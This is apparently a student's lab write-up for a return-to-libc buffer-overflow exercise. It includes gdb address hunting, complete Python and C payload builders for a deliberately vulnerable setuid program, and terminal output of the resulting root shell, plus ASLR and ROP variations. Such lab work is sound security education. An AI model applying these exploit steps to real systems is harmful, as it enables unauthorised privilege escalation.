

Return-to-libc Attack Lab

Xinyi Li

March 3, 2020

Task 1

Use the default BUF_SIZE as 12

```
1 gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
2 sudo chown root retlib
3 sudo chmod 4755 retlib
```

Task 2

```
1 [02/27/20]seed@VM:~/.../return_to_libc$ touch badfile
2 [02/27/20]seed@VM:~/.../return_to_libc$ gdb -q retlib
3 Reading symbols from retlib...(no debugging symbols
  found)...done.
4 gdb-peda$ run
5 Starting program: /home/seed/Documents/return_to_libc/retlib
6 Returned Properly
7 [Inferior 1 (process 3038) exited with code 01]
8 Warning: not running or target is remote
9 gdb-peda$ p system
10 $1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
11 gdb-peda$ p exit
12 $2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
13 gdb-peda$ quit
```

Task 3

Write a envaddr.c

```
1 #include <stdio.h>
2 #include <stdlib.h>
3
4 void main()
```

```

5 {
6     char *shell = getenv("MYSHELL");
7     if (shell)
8         printf("%x\n", (unsigned int)shell);
9 }

```

Keep the name of the executable program with length 6 (`=len('retlib')`)

```
1 gcc envaddr.c -o env666
```

The address of `/bin/sh` is `0xbffffdef`.

Note: Don't use `gdb` to get the address of string `/bin/sh` in `libc`. Because `gdb` will inject something to the stack and heap for debugging, so the address probably become different in runtime.

Task 4

Find the offset:

```

1 $ gcc -fno-stack-protector -z noexecstack -g -o retlib_dbg
   retlib.c
2 $ gdb -q retlib_dbg
3 Reading symbols from retlib_dbg...done.
4 gdb-peda$ b bof
5 Breakpoint 1 at 0x80484f1: file retlib.c, line 19.
6 gdb-peda$ run
7 Starting program: /home/seed/Documents/return_to_lic/retlib_dbg
8 ...
9 Breakpoint 1, bof (badfile=0x804fa88) at retlib.c:19
10 19      fread(buffer, sizeof(char), 300, badfile);
11 gdb-peda$ p $ebp
12 $1 = (void *) 0xbfffeeb8
13 gdb-peda$ p &buffer
14 $2 = (char (*)[12]) 0xbfffeec4
15 gdb-peda$ p/d 0xbfffeeb8 - 0xbfffeec4
16 $3 = 20
17 gdb-peda$ quit

```

So, the distance between `%ebp` and `&buffer` inside the function `bof` is 20 bytes

- The range to store the address of `system` is: `content[24:28]`
- The range to store the address of `exit` is: `content[28:32]`
- The range to store the address of `\bin\sh` is: `content[32:36]`

Compose `exploit.py` as follows:

```
1 #!/usr/bin/python3
```

```

2 import sys
3
4 # Fill content with non-zero values
5 content = bytearray(0xaa for i in range(40)) ***Note**: it must
    be modified there. the origin length of `content` is
    300, which may cause `retlib` return directly without
    launching a root shell. Please change the length to a
    smaller int.
6
7 X = 32
8 sh_addr = 0xbffffdef      # The address of "/bin/sh"
9 content[X:X+4] = (sh_addr).to_bytes(4, byteorder='little')
10
11 Y = 24
12 system_addr = 0xb7e42da0 # The address of system()
13 content[Y:Y+4] = (system_addr).to_bytes(4, byteorder='little')
14
15 Z = 28
16 exit_addr = 0xb7e369d0   # The address of exit()
17 content[Z:Z+4] = (exit_addr).to_bytes(4, byteorder='little')
18
19 # Save content to a file
20 with open("badfile", "wb") as f:
21     f.write(content)

```

Note: in the line 5, the length of `content` should be set to a smaller number instead of 300 both in the template and source code offered by the official site.

Or use the C version `exploit.c`:

```

1 #include <stdlib.h>
2 #include <stdio.h>
3 #include <string.h>
4 int main(int argc, char **argv)
5 {
6     char buf[40];
7     FILE *badfile;
8
9     badfile = fopen("./badfile", "w");
10
11     /* You need to decide the addresses and
12     the values for X, Y, Z. The order of the following
13     three statements does not imply the order of X, Y, Z.
14     Actually, we intentionally scrambled the order. */
15     *(long *)&buf[32] = 0xbffffdef; // "/bin/sh"
16     *(long *)&buf[24] = 0xb7e42da0; // system()
17     *(long *)&buf[28] = 0xb7e369d0; // exit()

```

```

18
19     fwrite(buf, sizeof(buf), 1, badfile);
20     fclose(badfile);
21 }

```

Finally, I got

```

Terminal Terminal File Edit View Search Terminal Help
root@VM: /home/seed/Documents/return-to-libc
[03/03/20]seed@VM:~/.../return-to-libc$ test66
/bin/sh
[03/03/20]seed@VM:~/.../return-to-libc$ gcc -o exploit exploit.c
[03/03/20]seed@VM:~/.../return-to-libc$ ./exploit
[03/03/20]seed@VM:~/.../return-to-libc$ retlib
$ whoami
seed
$ quit
/bin/sh: 2: quit: not found
$ exit
[03/03/20]seed@VM:~/.../return-to-libc$ ^C
[03/03/20]seed@VM:~/.../return-to-libc$ sudo ln -sf /bin/zsh /bin/sh
[03/03/20]seed@VM:~/.../return-to-libc$ env666
/bin/sh is in bffffdef
[03/03/20]seed@VM:~/.../return-to-libc$ gcc -o exploit exploit.c
[03/03/20]seed@VM:~/.../return-to-libc$ ./retlib
# whoami
root
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(admin),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(samba),1000(unixusers)
#

```

Attack variation 1

The root shell can also be launched. But when exiting the shell, the `retlib` can not be terminated properly. It issues a `Segmentation fault` error.

Attack variation 2

```

1 mv retlib newretlib
2 ./newretlib
3 zsh:1: command not found: h
4 Segmentation fault

```

Before environment variables are pushed into the stack, the program's name is pushed in first. So the location of `/bin/sh` will shift if the length of program's

name changes.

Task 4

It failed.

X,Y and Z are determined by the relative distance to `ebp`, which is not influenced by the address randomization.

But the address of `system`,`exit`, and `/bin/sh` are updated.

```
1 ./env666
2 /bin/sh is in bfa0cdef
3 rm badfile
4 touch badfile
5 gdb -q retlib
6 gdb-peda$ set disable-randomization on
7 gdb-peda$ r
8 Starting program: /home/seed/Documents/return-to-libc/retlib
9 Returned Properly
10 [Inferior 1 (process 6081) exited with code 01]
11 Warning: not running or target is remote
12 gdb-peda$ p system
13 $1 = {<text variable, no debug info>} 0xb7616da0 <__libc_system>
14 gdb-peda$ p exit
15 $2 = {<text variable, no debug info>} 0xb760a9d0 <__GI_exit>
16 gdb-peda$ quit
```

Task 5

```
1 gcc -fno-stack-protector -z noexecstack -o retlib_rop
   retlib_rop.c
2 sudo chown root retlib_rop
3 sudo chmod 4755 retlib_rop
4 ./retlib_rop
5 /bin/sh is in 0xbfffe558
6 Address of buffer[] : 0xbfffe520
7 Frame Pointer value : 0xbfffe538
8 Returned Properly
```

```
1 gdb -q retlib_rop
2 r
3 p bar
4 $1 = {<text variable, no debug info>} 0x8048567 <bar>
5 p exit
6 $2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
```

```
Terminal 10:32 PM
$1 = {<text variable, no debug info>} 0x8048567 <bar>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI__
exit>
gdb-peda$ quit
[03/03/20]seed@VM:~/.../return_to_lic$ python3 exploit_
rop.py
[03/03/20]seed@VM:~/.../return_to_lic$ retlib_rop
/bin/sh is in 0xbfffe558
Address of buffer[] : 0xbfffe520
Frame Pointer value : 0xbfffe538
The function bar() is invoked 1 times!
The function bar() is invoked 2 times!
The function bar() is invoked 3 times!
The function bar() is invoked 4 times!
The function bar() is invoked 5 times!
The function bar() is invoked 6 times!
The function bar() is invoked 7 times!
The function bar() is invoked 8 times!
The function bar() is invoked 9 times!
The function bar() is invoked 10 times!
[03/03/20]seed@VM:~/.../return_to_lic$
```